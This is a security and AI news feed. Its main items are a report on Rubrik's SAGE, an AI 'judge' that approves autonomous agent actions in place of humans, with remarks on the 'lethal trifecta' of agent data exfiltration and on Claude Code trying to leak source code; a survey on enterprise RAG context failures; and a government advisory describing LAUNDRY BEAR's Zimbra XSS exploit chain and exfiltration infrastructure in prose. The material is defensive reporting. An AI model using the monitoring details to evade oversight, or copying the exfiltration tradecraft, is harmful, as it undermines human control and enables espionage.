At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix
Thu, 23 Jul 2026 19:19:42 +0200
Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.
This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.
The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.
Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.
At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.
Finding 1: Confident and wrong
More than half have traced agent errors to bad context
We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.
This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. 
The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.
Finding 2: RAG is the default context source
Retrieval feeds more agents than any other method
We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.
Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.
One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.
Finding 3: Provider-native retrieval already leads the vector databases
OpenAI file search and vertex AI search top the dedicated tools
We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.
The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.
The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.
Finding 4: But they say they want to keep best-of-breed
A plurality resist consolidating onto a provider’s native stack
We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.
Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.
Finding 5: Hybrid retrieval is the consensus bet
Vector-only retrieval is already seen as insufficient
We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.
The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.
Finding 6: The governed context layer is being built now
Most run or are building a semantic layer — few in production
We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.
The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.
Finding 7: Bought on ingestion and simplicity, watched for correctness
Selection favors operability; monitoring favors correctness and security
We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.
Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). 
Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.
Finding 8: A retrieval reshuffle is coming
A majority plan to change providers — and the vector specialists are gaining interest
We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.
The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.
The bottom line: A context gap that more retrieval alone won’t close
Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.
The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

Evaluating AI Agents: A production blueprint with Strands and AgentCore
Thu, 23 Jul 2026 19:08:15 +0200
Together, Motorway and AWS built an end-to-end evaluation pipeline that reduced incorrect results from 1 in 8 queries to 1 in 50 and cut issue detection time from few hours to few minutes. The pipeline combines the Strands Agents SDK with Amazon Bedrock AgentCore, a fully managed service for deploying and operating AI agents at scale. In this post, you will learn how to build this pipeline for your own agents.

Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0
Thu, 23 Jul 2026 19:00:27 +0200

The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security, this document provides a resource for stakeholders to use in understanding how to align security efforts to meet objectives in both PCI DSS and the NIST CSF.  

Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel
Thu, 23 Jul 2026 18:44:19 +0200
Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth concerns raised by fake Chrome update malware campaigns, but uses the browser after compromise rather than as […]
The post Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel appeared first on Cyber Security News.

How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts
Thu, 23 Jul 2026 18:00:24 +0200
Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.

Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract
Thu, 23 Jul 2026 17:06:24 +0200
Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models
The post Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract appeared first on Towards Data Science.

The Meter Was Always Running
Thu, 23 Jul 2026 17:06:22 +0200
The first expensive agent run doesn’t look like a governance problem. It looks like a billing problem. A team opens its first agent invoice after the meter turns on, sorts the runs by cost, and finds one that cost 40 times the median. The provider meter shows tokens and a total. The application logs say […]

Collabora Online Turns 10, Refusing to Hand Over Your Data to Someone Else's AI
Thu, 23 Jul 2026 17:01:45 +0200
Its newest version pulls in improvements from CODE 26.04, so there's AI involved.

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Thu, 23 Jul 2026 16:59:29 +0200
Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].
LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.
Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.
This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  
As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.
For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.
Background
Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  
The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  
Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.
Targeting details
LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),  
the federal and local government,
education,
energy,
law enforcement,  
media,  
non-governmental organizations, and
technology.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.
Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.
Reconnaissance
LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  
After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  
Resource development 
The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.
Flowerbed framework
Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.
The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.
Initial access
To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

      Figure 1: Example of malicious email

      Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  
Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.
